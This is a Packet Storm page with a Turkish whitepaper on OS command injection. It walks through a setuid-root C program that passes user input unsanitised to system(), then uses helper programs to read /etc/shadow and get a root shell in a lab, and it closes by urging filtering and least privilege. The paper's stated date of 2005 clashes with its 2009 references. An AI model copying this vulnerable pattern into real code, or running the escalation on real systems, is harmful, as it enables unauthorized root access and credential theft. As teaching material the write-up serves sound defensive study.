exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OS Command Injection Vulnerabilities

OS Command Injection Vulnerabilities
Posted Jan 24, 2010
Authored by murderkey | Site tcc.hellcode.net

Whitepaper called OS Command Injection Vulnerabilities. Written in Turkish.

tags | paper, vulnerability
SHA-256 | 5c8583c0d3a4c09541e3e93d6f91f435d9b4999efa6d60804e83923577e94383

OS Command Injection Vulnerabilities

Change Mirror Download


---[ OS Command Injection Vulnerabilities [23/03/2005]
---[ murderkey <murderkey[n0_sp4m]gmail[zot]com
---[ Hellcode Research Lab | The Computer Cheats
---[ http://tcc.hellcode.net | hellcode.net



Geçtiðimiz günlerde, Amerikan Ulusal Güvenlik Teþkilatý (NSA) çeþitli güvenlik firmalarýyla
ortaklaþa yaptýðý bir araþtýrmanýn istatistiksel sonuçlarýný duyurdu. Araþtýrmada programcýlardan
kaynaklanan en tehlikeli 25 hata yer aldý. "Ýþletim Sistemleri Komut Enjeksiyonu" zayýflýðý bu
listenin 5. sýrasýnda ve risk seviyesi yüksek olarak iþaretlenmiþ. Bu yazýda, söz konusu zayýflýðýn
nasýl oluþtuðu ve engellenmesi için neler yapýlmasý gerektiði anlatýlacaktýr.

Nedir ve Nasýl Çalýþýr ?
Zaman zaman yazýlýmlarda, çeþitli fonksiyonlarý yerine getirmek için harici bir yazýlým (komut/modül)
çaðýrmak gerekebiliyor.Örnek olarak Linux, Solaris, BSD, Plan9 gibi sistemler üzerinde ki watch, time
vb. komutlar verilebilir.Söz konusu hatanýn kurbaný olmak, hemen her programlama dilinde (JAVA,Assembly,
C/C++ vb...) ve hemen her iþletim sisteminde mümkün ve bu zayýflýk sayesinde lokal bir kullanýcý,
yetkisini en üst düzeye yükseltebilir veya komutlar çalýþtýrabilir.

Öncelikle senaryo þu olsun, yazdýðýnýz bir yazýlým "root" yetkisiyle sisteme kurulmuþ, ve yazdýðýnýz
yazýlýmýn çeþitli fonksiyonlarý yerine getiren alt yazýlýmlarý/moduler var ana programýnýzda Linux'ta
hazýr bulunan ve belirtilen yazýlýmýn iþlem hýzýný gösteren "time" komutunu kullanarak ana programýnýzdan
alt programlarýn iþlem hýzýný göstermek istiyorsunuz.Aþaðýda ki, söz konusu zayýflýðý barýndýran kodu
bunu yapan kod parçasý olarak düþünün.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
char komut[256];
if(argc<2)
{
printf("Hata: islem hizini ogrenmek istediginiz programi girin!\n");
}
memset(&komut,0,sizeof(komut));
strcat(komut, "time ./");
strcat(komut,argv[1]);
system(komut);
return 0;
}

Hatayý barýndýran kodumuzu derliyoruz ve programýmýzýn haklarýný deðiþtiriyoruz, senaryomuza göre,
varsayalým ki programýmýz "root" haklarýyla yani en üst düzey kullanýcý haklarýyla çalýþýyor.

murderkey@labs:~$ cc vuln.c -o vuln
root@lab:~# chown root.root vuln
root@lab:~# chmod +s vuln
root@lab:~# exit
murderkey@labs:~$

Yukarda ne yaptýk? Öncelikle programýmýzý derledik hemen ardýndan kullanýcý sahibini deðiþtirdik ve onun
ardýndan da "+s" parametresi ile program calýþtýðý sürece calýþanýn o haklara sahip olmasýný saðladýk. Devam
edelim ve programýmýzý çalýþtýralým, bakalým istediðimiz gerçekleþiyor mu? Ondan önce, ben ekrana basitçe
"Merhaba Dünya" mesajini basan bir kod yazdým ve derledim amacim bu programýn iþlem hýzýný ögrenmek.

murderkey@lab:~$ ./vuln helloworld
Merhaba dunya
real 0m0.002s
user 0m0.000s
sys 0m0.000s
murderkey@lab:~$

Bir programcý klasiði olan merhaba dünya adlý ufak bir yazýlým yazdýk ve vuln adlý yazýlýmýmýzý hatýrlýyorsanýz
parametre olarak girilen yazýlýmlarýn çalýþma hýzýný gösteriyordu, bizde parametre olarak Merhaba Dünya yazan
programýmýzýn çalýþma hýzýný öðrenmek istedik.Buraya kadar yazýlýmýmýz sorunsuz çalýþtý görünürde hiçbirþey yok.
Kodumuz bu haliyle gayet masum görünüyor fakat programa verilen girdilerde daha farklý davranan bir kullanýcý,
programýnda farklý davranmasýna sebep olacaktýr.

Biz burada helloworld adlý kod yerine baþka birþey calýþtýrsak ne olurdu? Örneðin, cat /etc/shadow adlý komutu
çalýþtýran veya bize yeni bir shell (kabuk) açan ufak bir kod yazsak ne olur ? Görmek için devam edelim ve C dilinde
belirtilen komutlarý iþleyen bir kod yazalým.



main(void)
{
system("cat /etc/shadow");
return 0;
}


murderkey@lab:~$ cc exp1.c -o exp1
murderkey@lab:~$ ./vuln exp1
...
sync:*:14062:0:99999:7:::
games:*:14062:0:99999:7:::
man:*:14062:0:99999:7:::
lp:*:14062:0:99999:7:::
mail:*:14062:0:99999:7:::
news:*:14062:0:99999:7:::
uucp:*:14062:0:99999:7:::
...
real 0m0.003s
user 0m0.000s
sys 0m0.000s

murderkey@lab:~$


Aklýmýza gelen fikir kusursuz iþe yaradý. Normal þartlar altýnda sistemde ki kullanýcýlarýn (user) kullandýðý
þifreleri ancak "root" yetkisine sahipseniz görebilirsiniz (istisnalar hariç tabii) ama hatýrlayýn zayýflýða
sahip programýmýz üzerinden bir kod çalýþtýrdýk ve zayýflýða sahip yazýlým root yetkileriyle çalýþýyor bundan
dolayý normal kullanýcý yetkilerine sahip bir kodu root yetkisiyle çalýþtýrmayý baþardýk.

Þimdi biraz daha ileri gidelim ve root yetkilerine sahip bir shell açmaya çalýþarak sistemde ki eriþim seviyemizi
en üst düzeye çekmeye çalýþalým, ayný þekilde "cat /etc/shadow" komutunu çalýþtýran kodumuzun tek satýrýný
deðiþtirerek derliyoruz.

main(void)
{
system("/bin/sh");
return 0;
}

murderkey@lab:~$ cc exp2.c -o exp2
murderkey@lab:~$ ./vuln exp2
real 0m0.002
user 0m0.000
sys 0m0.000

root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)

Sonuç:


Görüldüðü gibi tek satýrý deðiþtirerek programýmýzdaki zayýflýk sayesinde sistemde en üst düzey kullanýcý yetkisi
yani "root" yetkisine ulaþtýk.Sanýrým NSA yaptýðý araþtýrmada sistemlere zarar veren en tehlikeli 25 açýk arasýnda
5. sýraya yazýmýzýn konusu olan Komut Enjeksiyonu hatasýný koymakla hata yapmamýþ.Çok basit ve gözden kaçmasý kolay
olan fakat risk seviyesi oldukça yüksek bir hata, çeþitli filtrelemelerle veya kullanýcý haklarýnýn iyi ayarlanmasý
(gerekli fonksiyolar kullanilarak) söz konusu sorun basitçe aþýlabilir.Benim amacým, bu yazýda durumun ciddiyetini
programcýlara göstermek fakat talebe baðlý olarak çeþitli yazýlým açýklarýnýn (Buffer Overflow, Format String vs) nasýl
engellenebileceðine dair ufak bir yazý yazýlabilir. Umarým bu yazý konunun ciddiyeti hakkýnda kafanýzda bir þeylerin
oluþmasýna yardýmcý olmuþtur.Yazýda herhangi bir hata veya atladýðým nokta olduðunu düþünüyorsanýz iletiþime geçerek
yardýmcý olabilirsiniz ve tabii bunun için üzgünüm.





Referans:


[1] CWE/SANS TOP 25 Most Dangerous Programming Errors http://www.sans.org/top25errors

[2] Phrack #59: Runtime Process infection http://www.phrack.org/issues.html?issue=59&id=8#article

[3] Least Privilege http://www.hellcode.net/ppe.txt

[4] FreeBSD Telnet Daemon Zero-Day (Yazýnýn yazýlmasýndan bir gün sonra) http://blog.lifeoverip.net/2009/02/15/freebsd-telnet-daemon-zero-day-acikligi/

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close